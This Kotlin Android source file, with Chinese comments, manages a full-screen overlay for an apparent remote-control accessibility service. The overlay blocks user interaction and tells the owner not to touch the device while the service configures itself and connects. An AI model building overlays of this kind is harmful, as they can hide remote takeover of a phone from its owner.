package com.hikoncont.service.modules

import android.content.Context
import android.util.Log
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.service.modules.mask.MaskManagerFactory
import com.hikoncont.service.modules.mask.MaskConfig
import com.hikoncont.service.modules.mask.IMaskManager
import org.json.JSONObject
import java.io.BufferedReader
import java.io.InputStreamReader

/**
 * 配置期间遮盖管理器 - 重构后使用模块化遮盖系统
 * 
 * 功能：
 * 1. 读取构建时配置
 * 2. 使用AccessibilityService实现系统级遮盖
 * 3. 配置完成后自动移除遮盖
 * 4. 无需额外权限，基于无障碍服务
 */
class ConfigMaskManager(
    private val service: AccessibilityRemoteService,
    private val context: Context
) {
    companion object {
        private const val TAG = "ConfigMaskManager"
        private const val CONFIG_FILE = "server_config.json"
    }
    
    // 遮盖管理器
    private var maskManager: IMaskManager? = null
    
    /**
     * 初始化配置遮盖管理器
     */
    fun initialize() {
        Log.i(TAG, "✅ 配置遮盖管理器初始化")
        
        // 加载配置
        val config = loadConfigFromAssets()
        
        // 创建遮盖管理器
        maskManager = MaskManagerFactory.createMaskManager(context, config)
        maskManager?.initialize()


    }
    
    /**
     * 从assets读取配置
     */
    private fun loadConfigFromAssets(): MaskConfig {
        return try {
            val inputStream = context.assets.open(CONFIG_FILE)
            val reader = BufferedReader(InputStreamReader(inputStream))
            val configJson = reader.readText()
            reader.close()
            
            val config = JSONObject(configJson)
            val enableMask = config.optBoolean("enableConfigMask", true)
            val enableProgressBar = config.optBoolean("enableProgressBar", true)
            val maskText = config.optString("configMaskText", "配置中请稍后...")
            val maskSubtitle = config.optString("configMaskSubtitle", "正在自动配置和连接\n请勿操作设备")
            val maskStatus = config.optString("configMaskStatus", "配置完成后将自动返回应用")
            
            // 将进度条配置传递给服务
            if (service is AccessibilityRemoteService) {
                service.setProgressBarEnabled(enableProgressBar)
            }
            
            Log.i(TAG, "📋 配置加载成功: enableMask=$enableMask, text=$maskText, subtitle=$maskSubtitle, status=$maskStatus")
            
            MaskConfig(
                enableMask = enableMask,
                enableProgressBar = enableProgressBar,
                maskText = maskText,
                maskSubtitle = maskSubtitle,
                maskStatus = maskStatus,
                autoRestart = true,
                preventUserInteraction = true
            )
            
        } catch (e: Exception) {
            Log.w(TAG, "⚠️ 配置文件读取失败，使用默认配置", e)
            MaskConfig(
                enableMask = true,
                enableProgressBar = true,
                maskText = "配置中请稍后...",
                maskSubtitle = "正在自动配置和连接\n请勿操作设备",
                maskStatus = "配置完成后将自动返回应用",
                autoRestart = true,
                preventUserInteraction = true
            )
        }
    }
    
    /**
     * 显示配置期间遮盖
     */
    fun showConfigMask() {
        try {
            Log.i(TAG, "🔒 显示配置期间遮盖")
            
            if (maskManager == null) {
                Log.e(TAG, "❌ maskManager为null，无法显示遮盖")
                return
            }
            
            Log.i(TAG, "🔧 maskManager已就绪，调用showMask()")
            maskManager?.showMask()
            Log.i(TAG, "✅ 配置遮盖显示成功")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 显示配置遮盖失败", e)
        }
    }
    
    /**
     * 隐藏配置期间遮盖
     */
    fun hideConfigMask() {
        try {
            Log.i(TAG, "✅ 隐藏配置期间遮盖")
            maskManager?.hideMask()
            Log.i(TAG, "✅ 配置遮盖隐藏成功")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 隐藏配置遮盖失败", e)
        }
    }
    

    
    /**
     * 检查是否启用配置遮盖
     */
    fun isConfigMaskEnabled(): Boolean = maskManager?.isMaskEnabled() ?: false
    
    /**
     * 检查配置遮盖是否正在显示
     */
    fun isConfigMaskShowing(): Boolean = maskManager?.isMaskShowing() ?: false
    
    /**
     * 设置遮盖文本
     */
    fun setConfigMaskText(text: String) {
        maskManager?.setMaskText(text)
    }
    
    /**
     * 清理资源
     */
    fun cleanup() {
        try {
            maskManager?.cleanup()
            maskManager = null
            Log.i(TAG, "✅ 配置遮盖管理器资源清理完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 清理配置遮盖管理器资源失败", e)
        }
    }
} 